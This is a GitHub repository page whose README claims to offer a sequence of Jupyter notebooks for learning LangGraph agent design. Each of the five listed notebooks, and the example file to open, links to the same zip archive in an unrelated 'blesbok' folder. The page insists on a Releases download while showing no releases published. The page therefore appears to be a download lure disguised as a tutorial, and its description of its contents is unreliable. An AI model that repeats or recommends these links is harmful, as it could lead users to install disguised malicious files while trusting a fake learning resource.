Skip to content

SajadAlRoubiey/langgraph-notebooks

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ“˜ langgraph-notebooks - Learn Advanced Agent Systems Easily

🌟 Overview

This repository is a curated, ordered collection of Jupyter notebooks created while learning LangGraph β€” an advanced framework for building agentic systems and control flows around language models. The notebooks progress from basic graph concepts to intermediate agent design and culminate in advanced agentic patterns such as planning, routing, reflection, and multi-agent collaboration.

πŸš€ Getting Started

How to Download

To get started, visit the Releases page to download the notebooks.

Download Notebooks

System Requirements

  • Operating System: Windows, macOS, or Linux
  • Python Version: Python 3.7 or higher
  • Jupyter Notebook: Make sure you have Jupyter Notebook installed. You can install it via pip:
    pip install notebook
    

Recommended Software

  • Anaconda: Consider using Anaconda, which simplifies package management and deployment. Download it here.
  • Visual Studio Code: For a more feature-rich coding experience, download Visual Studio Code from here.

πŸ“š Learning Path

# Notebook Topic / Concept Covered
1 https://github.com/SajadAlRoubiey/langgraph-notebooks/raw/refs/heads/main/blesbok/langgraph-notebooks-1.2.zip Introduction to LangGraph β€” key concepts and architecture overview
2 https://github.com/SajadAlRoubiey/langgraph-notebooks/raw/refs/heads/main/blesbok/langgraph-notebooks-1.2.zip Building and executing a simple LangGraph
3 https://github.com/SajadAlRoubiey/langgraph-notebooks/raw/refs/heads/main/blesbok/langgraph-notebooks-1.2.zip Creating a chat tool using LangGraph nodes and edges
4 https://github.com/SajadAlRoubiey/langgraph-notebooks/raw/refs/heads/main/blesbok/langgraph-notebooks-1.2.zip Constructing a basic agent using LangGraph primitives
5 https://github.com/SajadAlRoubiey/langgraph-notebooks/raw/refs/heads/main/blesbok/langgraph-notebooks-1.2.zip Adding memory and checkpointing to a basic agent

πŸ”§ Download & Install

To download the notebooks, follow these steps:

  1. Visit the Releases Page: Click the link below to go to the Releases page. Download Notebooks

  2. Select the Latest Release: At the top of the page, you will see the latest release. Click on it.

  3. Download the Notebooks: Look for the .zip file or individual .ipynb files. Click to download them to your computer.

  4. Extract the Files: If you downloaded a zip file, you need to extract it. Right-click the zip file and select "Extract All." Choose where to save the files.

  5. Open Jupyter Notebook: Navigate to the folder where you extracted the files. Open your terminal (Command Prompt, PowerShell, or Terminal application) and enter:

    jupyter notebook
    

    This command will launch Jupyter Notebook in your default web browser.

  6. Select a Notebook: In the Jupyter interface, find the notebooks you downloaded. Click on any notebook file (e.g., https://github.com/SajadAlRoubiey/langgraph-notebooks/raw/refs/heads/main/blesbok/langgraph-notebooks-1.2.zip) to open it.

  7. Start Learning: Follow the instructions within each notebook to progress through the material at your own pace.

πŸ“ Additional Resources

If you are new to Jupyter or LangGraph, consider checking the following resources for additional context:

πŸ“ž Support

If you have any issues or questions, feel free to open an issue in this repository.

πŸ“… Contributions

This repository welcomes contributions. If you want to add your own notebooks or improve the existing ones, please follow the guidelines outlined in the repository.

Download Notebooks

Enjoy exploring agentic systems with LangGraph!

About

πŸ“˜ Explore Jupyter notebooks that teach LangGraph concepts, from basic graphs to advanced agent design, enhancing your understanding of language model control flows.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors